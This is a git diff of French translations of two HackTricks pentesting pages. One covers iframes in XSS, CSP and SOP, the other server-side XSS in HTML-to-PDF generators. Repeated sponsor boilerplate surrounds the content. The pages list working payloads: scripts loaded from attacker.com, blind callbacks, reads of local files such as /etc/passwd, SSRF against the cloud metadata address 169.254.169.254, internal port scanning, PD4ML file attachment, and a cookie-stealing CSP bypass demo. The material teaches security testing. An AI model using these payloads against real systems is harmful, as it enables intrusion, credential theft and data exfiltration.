* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,32 +1,46 @@
|
||||||
## Iframes dans XSS, CSP et SOP
|
# Iframes dans XSS, CSP et SOP
|
||||||
|
|
||||||
Il existe 3 façons d'indiquer le contenu d'une page iframée :
|
<details>
|
||||||
|
|
||||||
* Via `src` indiquant une URL (l'URL peut être de même origine ou de croisement d'origine)
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
* Via `src` indiquant le contenu en utilisant le protocole `data:`
|
|
||||||
* Via `srcdoc` indiquant le contenu
|
|
||||||
|
|
||||||
**Accès aux variables parent et enfant**
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Iframes dans XSS
|
||||||
|
|
||||||
|
Il existe 3 façons d'indiquer le contenu d'une page en iframed :
|
||||||
|
|
||||||
|
* Via `src` en indiquant une URL (l'URL peut être de provenance croisée ou de même origine)
|
||||||
|
* Via `src` en indiquant le contenu en utilisant le protocole `data:`
|
||||||
|
* Via `srcdoc` en indiquant le contenu
|
||||||
|
|
||||||
|
**Accès aux variables Parent & Child**
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<script>
|
<script>
|
||||||
var secret = "31337s3cr37t";
|
var secret = "31337s3cr37t";
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
||||||
<iframe id="if2" src="child.html"></iframe>
|
<iframe id="if2" src="child.html"></iframe>
|
||||||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||||||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
function access_children_vars(){
|
function access_children_vars(){
|
||||||
alert(if1.secret);
|
alert(if1.secret);
|
||||||
alert(if2.secret);
|
alert(if2.secret);
|
||||||
alert(if3.secret);
|
alert(if3.secret);
|
||||||
alert(if4.secret);
|
alert(if4.secret);
|
||||||
}
|
}
|
||||||
setTimeout(access_children_vars, 3000);
|
setTimeout(access_children_vars, 3000);
|
||||||
</script>
|
</script>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -37,40 +51,40 @@ var secret="child secret";
|
||||||
alert(parent.secret)
|
alert(parent.secret)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Si vous accédez au code HTML précédent via un serveur HTTP (comme `python3 -m http.server`), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'empêcher). Le parent ne pourra pas accéder à la variable `secret` à l'intérieur de n'importe quel iframe et seuls les iframes if2 et if3 (considérés comme étant du même site) peuvent accéder au secret dans la fenêtre d'origine.\
|
Si vous accédez au html précédent via un serveur http (comme `python3 -m http.server`), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'empêcher). **Le parent ne pourra pas accéder à la variable `secret` à l'intérieur de n'importe quel iframe** et **seuls les iframes if2 & if3 (qui sont considérés comme étant du même site) peuvent accéder au secret** dans la fenêtre d'origine.\
|
||||||
Notez comment if4 est considéré comme ayant une origine `null`.
|
Notez comment if4 est considéré comme ayant une origine `null`.
|
||||||
|
|
||||||
### Iframes avec CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
### Iframes avec CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Veuillez noter que dans les contournements suivants, la réponse à la page en iframing ne contient aucun en-tête CSP qui empêche l'exécution de JS.
|
Veuillez noter que dans les contournements suivants, la réponse à la page incluse ne contient aucun en-tête CSP qui empêche l'exécution de JS.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
La valeur `self` de `script-src` n'autorisera pas l'exécution du code JS en utilisant le protocole `data:` ou l'attribut `srcdoc`.\
|
La valeur `self` de `script-src` ne permettra pas l'exécution du code JS en utilisant le protocole `data:` ou l'attribut `srcdoc`.\
|
||||||
Cependant, même la valeur `none` du CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut `src`.\
|
Cependant, même la valeur `none` du CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut `src`.\
|
||||||
Il est donc possible de contourner le CSP d'une page avec:
|
Il est donc possible de contourner le CSP d'une page avec:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
|
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
|
||||||
</head>
|
</head>
|
||||||
<script>
|
<script>
|
||||||
var secret = "31337s3cr37t";
|
var secret = "31337s3cr37t";
|
||||||
</script>
|
</script>
|
||||||
<iframe id="if1" src="child.html"></iframe>
|
<iframe id="if1" src="child.html"></iframe>
|
||||||
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
||||||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||||||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Notez comment la **CSP précédente ne permet l'exécution que du script en ligne**.\
|
Notez comment le **CSP précédent autorise uniquement l'exécution du script en ligne**.\
|
||||||
Cependant, **seuls les scripts `if1` et `if2` vont être exécutés mais seul `if1` pourra accéder au secret parent**.
|
Cependant, **seuls les scripts `if1` et `if2` vont être exécutés mais seul `if1` pourra accéder au secret parent**.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (627) (1) (1).png>)
|
![](<../../.gitbook/assets/image (627) (1) (1).png>)
|
||||||
|
|
||||||
Par conséquent, il est possible de **contourner une CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via iframe même avec `script-src 'none'`**. Cela peut **potentiellement être également fait en abusant d'un point de terminaison same-site JSONP**.
|
Par conséquent, il est possible de **contourner un CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via un iframe même avec `script-src 'none'`**. Cela peut **éventuellement être fait en abusant d'un point de terminaison JSONP du même site**.
|
||||||
|
|
||||||
Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec `script-src 'none'`. Il suffit de lancer l'application et d'y accéder avec votre navigateur :
|
Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec `script-src 'none'`. Il suffit de lancer l'application et d'y accéder avec votre navigateur:
|
||||||
```python
|
```python
|
||||||
import flask
|
import flask
|
||||||
from flask import Flask
|
from flask import Flask
|
||||||
|
@ -78,17 +92,17 @@ app = Flask(__name__)
|
||||||
|
|
||||||
@app.route("/")
|
@app.route("/")
|
||||||
def index():
|
def index():
|
||||||
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
||||||
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
||||||
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
@app.route("/cookie_s.html")
|
@app.route("/cookie_s.html")
|
||||||
def cookie_s():
|
def cookie_s():
|
||||||
return "<script>alert(document.cookie)</script>"
|
return "<script>alert(document.cookie)</script>"
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
app.run()
|
app.run()
|
||||||
```
|
```
|
||||||
### Autres Payloads trouvés dans la nature <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
### Autres Payloads trouvés dans la nature <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||||
```html
|
```html
|
||||||
|
@ -101,26 +115,26 @@ if __name__ == "__main__":
|
||||||
```
|
```
|
||||||
### Iframe sandbox
|
### Iframe sandbox
|
||||||
|
|
||||||
L'attribut `sandbox` permet d'appliquer un ensemble supplémentaire de restrictions au contenu dans l'iframe. **Par défaut, aucune restriction n'est appliquée.**
|
Le contenu dans un iframe peut être soumis à des restrictions supplémentaires grâce à l'utilisation de l'attribut `sandbox`. Par défaut, cet attribut n'est pas appliqué, ce qui signifie qu'aucune restriction n'est en place.
|
||||||
|
|
||||||
Lorsque l'attribut `sandbox` est présent, il va :
|
Lorsqu'il est utilisé, l'attribut `sandbox` impose plusieurs limitations :
|
||||||
|
|
||||||
* traiter le contenu comme provenant d'une origine unique
|
- Le contenu est traité comme s'il provenait d'une source unique.
|
||||||
* bloquer la soumission de formulaire
|
- Toute tentative de soumission de formulaires est bloquée.
|
||||||
* bloquer l'exécution de script
|
- L'exécution de scripts est interdite.
|
||||||
* désactiver les APIs
|
- L'accès à certaines APIs est désactivé.
|
||||||
* empêcher les liens de cibler d'autres contextes de navigation
|
- Il empêche les liens d'interagir avec d'autres contextes de navigation.
|
||||||
* empêcher le contenu d'utiliser des plugins (via `<embed>`, `<object>`, `<applet>`, ou autre)
|
- L'utilisation de plugins via `<embed>`, `<object>`, `<applet>`, ou des balises similaires est interdite.
|
||||||
* empêcher le contenu de naviguer dans son contexte de navigation de niveau supérieur
|
- La navigation du contexte de navigation de niveau supérieur du contenu par le contenu lui-même est empêchée.
|
||||||
* bloquer les fonctionnalités déclenchées automatiquement (telles que la lecture automatique d'une vidéo ou la mise au point automatique d'un contrôle de formulaire)
|
- Les fonctionnalités déclenchées automatiquement, comme la lecture vidéo ou la mise au point automatique des contrôles de formulaire, sont bloquées.
|
||||||
|
|
||||||
La valeur de l'attribut `sandbox` peut être soit vide (alors toutes les restrictions sont appliquées), soit une liste de valeurs prédéfinies séparées par des espaces qui SUPPRIMENT les restrictions particulières.
|
La valeur de l'attribut peut être laissée vide (`sandbox=""`) pour appliquer toutes les restrictions mentionnées ci-dessus. Alternativement, elle peut être définie sur une liste de valeurs spécifiques séparées par des espaces qui exemptent l'iframe de certaines restrictions.
|
||||||
```html
|
```html
|
||||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||||
```
|
```
|
||||||
## Iframes dans SOP
|
## Iframes dans SOP
|
||||||
|
|
||||||
Vérifiez les pages suivantes:
|
Consultez les pages suivantes :
|
||||||
|
|
||||||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
|
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
|
||||||
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
||||||
|
@ -137,15 +151,3 @@ Vérifiez les pages suivantes:
|
||||||
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
||||||
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -2,33 +2,34 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Server Side XSS (Dynamic PDF)
|
## Server Side XSS (Dynamic PDF)
|
||||||
|
|
||||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
|
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour **exécuter du code JS arbitraire**.\
|
||||||
Ainsi, si le **bot créateur de PDF trouve** des **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **Server XSS**.
|
Ainsi, si le **bot créateur de PDF trouve** des sortes de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
|
||||||
|
|
||||||
Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter du JS (par exemple, en abusant de `<img`).\
|
Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, vous aurez donc besoin d'une méthode différente pour exécuter du JS (par exemple, en abusant de `<img` ).\
|
||||||
Notez également que dans une exploitation régulière, vous serez **capable de voir/télécharger le pdf créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire les informations en faisant une requête web vers vous** (Blind).
|
De plus, notez que dans une exploitation régulière, vous pourrez **voir/télécharger le PDF créé**, vous pourrez donc voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous ne pouvez pas voir le PDF créé, vous devrez probablement **extraire les informations en effectuant une requête web vers vous** (Aveugle).
|
||||||
|
|
||||||
### Génération de PDF populaire
|
### Génération de PDF populaire
|
||||||
|
|
||||||
* **wkhtmltopdf** : _C'est un outil en ligne de commande open source qui utilise le moteur de rendu WebKit pour convertir des documents HTML et CSS en documents PDF._
|
- **wkhtmltopdf** est connu pour sa capacité à convertir HTML et CSS en documents PDF, en utilisant le moteur de rendu WebKit. Cet outil est disponible en tant qu'utilitaire en ligne de commande open-source, le rendant accessible à un large éventail d'applications.
|
||||||
* **TCPDF** : _Une bibliothèque PHP pour générer des documents PDF qui prend en charge une large gamme de fonctionnalités, y compris les images, les graphiques et le chiffrement._
|
- **TCPDF** offre une solution robuste dans l'écosystème PHP pour la génération de PDF. Il est capable de gérer les images, les graphiques et le chiffrement, ce qui démontre sa polyvalence pour la création de documents complexes.
|
||||||
* **PDFKit :** _Une bibliothèque Node.js qui peut être utilisée pour générer des documents PDF à partir de HTML et CSS._
|
- Pour ceux travaillant dans un environnement Node.js, **PDFKit** présente une option viable. Il permet la génération de documents PDF directement à partir de HTML et CSS, établissant un lien entre le contenu web et les formats imprimables.
|
||||||
* **iText** : _Une bibliothèque basée sur Java pour générer des documents PDF qui prend en charge une gamme de fonctionnalités, y compris les signatures numériques et le remplissage de formulaires._
|
- Les développeurs Java pourraient préférer **iText**, une bibliothèque qui facilite non seulement la création de PDF, mais prend également en charge des fonctionnalités avancées telles que les signatures numériques et le remplissage de formulaires. Son ensemble de fonctionnalités complet le rend adapté à la génération de documents sécurisés et interactifs.
|
||||||
* **FPDF** : _Une bibliothèque PHP pour générer des documents PDF qui est légère et facile à utiliser._
|
- **FPDF** est une autre bibliothèque PHP, distinguée par sa simplicité et sa facilité d'utilisation. Elle est conçue pour les développeurs recherchant une approche simple de la génération de PDF, sans avoir besoin de fonctionnalités étendues.
|
||||||
|
|
||||||
|
|
||||||
## Payloads
|
## Payloads
|
||||||
|
|
||||||
|
@ -47,7 +48,7 @@ Notez également que dans une exploitation régulière, vous serez **capable de
|
||||||
```
|
```
|
||||||
### SVG
|
### SVG
|
||||||
|
|
||||||
Tous les payloads précédents ou suivants peuvent être utilisés à l'intérieur de ce payload SVG. Un exemple avec un iframe accédant à un sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées est présenté.
|
L'un des payloads précédents ou suivants peut être utilisé à l'intérieur de ce payload SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées sont donnés comme exemples.
|
||||||
```markup
|
```markup
|
||||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||||
<g>
|
<g>
|
||||||
|
@ -72,7 +73,7 @@ alert(1);
|
||||||
</script>
|
</script>
|
||||||
</svg>
|
</svg>
|
||||||
```
|
```
|
||||||
Vous pouvez trouver beaucoup **d'autres payloads SVG** sur [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
Vous pouvez trouver beaucoup **d'autres charges utiles SVG** dans [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||||
|
|
||||||
### Divulgation de chemin
|
### Divulgation de chemin
|
||||||
```markup
|
```markup
|
||||||
|
@ -83,7 +84,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||||
```
|
```
|
||||||
### Charger un script externe
|
### Charger un script externe
|
||||||
|
|
||||||
La meilleure manière de tirer parti de cette vulnérabilité est d'abuser de celle-ci pour faire charger au bot un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire charger au bot avec le même code à chaque fois.
|
La meilleure façon de exploiter cette vulnérabilité est d'abuser de la vulnérabilité pour faire charger au bot un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire charger au bot avec le même code à chaque fois.
|
||||||
```markup
|
```markup
|
||||||
<script src="http://attacker.com/myscripts.js"></script>
|
<script src="http://attacker.com/myscripts.js"></script>
|
||||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||||
|
@ -91,9 +92,9 @@ La meilleure manière de tirer parti de cette vulnérabilité est d'abuser de ce
|
||||||
### Lire un fichier local / SSRF
|
### Lire un fichier local / SSRF
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Changez `file:///etc/passwd` par `http://169.254.169.254/latest/user-data` par exemple pour **essayer d'accéder à une page web externe (SSRF)**.
|
Changer `file:///etc/passwd` pour `http://169.254.169.254/latest/user-data` par exemple pour **essayer d'accéder à une page web externe (SSRF)**.
|
||||||
|
|
||||||
Si le SSRF est autorisé, mais que vous **ne pouvez pas atteindre** un domaine ou une IP intéressante, [consultez cette page pour des contournements potentiels](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
Si SSRF est autorisé, mais que vous **ne pouvez pas atteindre** un domaine ou une IP intéressant, [consultez cette page pour des éventuels contournements](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```markup
|
```markup
|
||||||
<script>
|
<script>
|
||||||
|
@ -141,7 +142,7 @@ time += 500;
|
||||||
</script>
|
</script>
|
||||||
<img src="https://attacker.com/delay">
|
<img src="https://attacker.com/delay">
|
||||||
```
|
```
|
||||||
### Balayage de Ports
|
### Analyse de port
|
||||||
```markup
|
```markup
|
||||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||||
<script>
|
<script>
|
||||||
|
@ -160,19 +161,21 @@ checkPort(i);
|
||||||
```
|
```
|
||||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||||
|
|
||||||
Cette vulnérabilité peut être transformée très facilement en SSRF (car vous pouvez faire charger des ressources externes par le script). Essayez donc de l'exploiter (lire des métadonnées ?).
|
Cette vulnérabilité peut être très facilement transformée en SSRF (comme vous pouvez faire charger le script des ressources externes). Alors essayez simplement de l'exploiter (lire quelques métadonnées?).
|
||||||
|
|
||||||
### Pièces jointes : PD4ML
|
### Pièces jointes: PD4ML
|
||||||
|
|
||||||
Il existe des moteurs de conversion HTML en PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **joindre n'importe quel fichier local** au PDF.\
|
Il existe des moteurs HTML 2 PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **attacher n'importe quel fichier local** au PDF.\
|
||||||
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et j'ai double-cliqué sur le symbole du trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
|
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et double-cliqué sur le symbole de trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
|
||||||
La capture de la **réponse PDF** avec Burp devrait également **montrer la pièce jointe en texte clair** à l'intérieur du PDF.
|
Capturer la **réponse PDF** avec Burp devrait également **afficher la pièce jointe en texte clair** à l'intérieur du PDF.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```html
|
```html
|
||||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||||
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
|
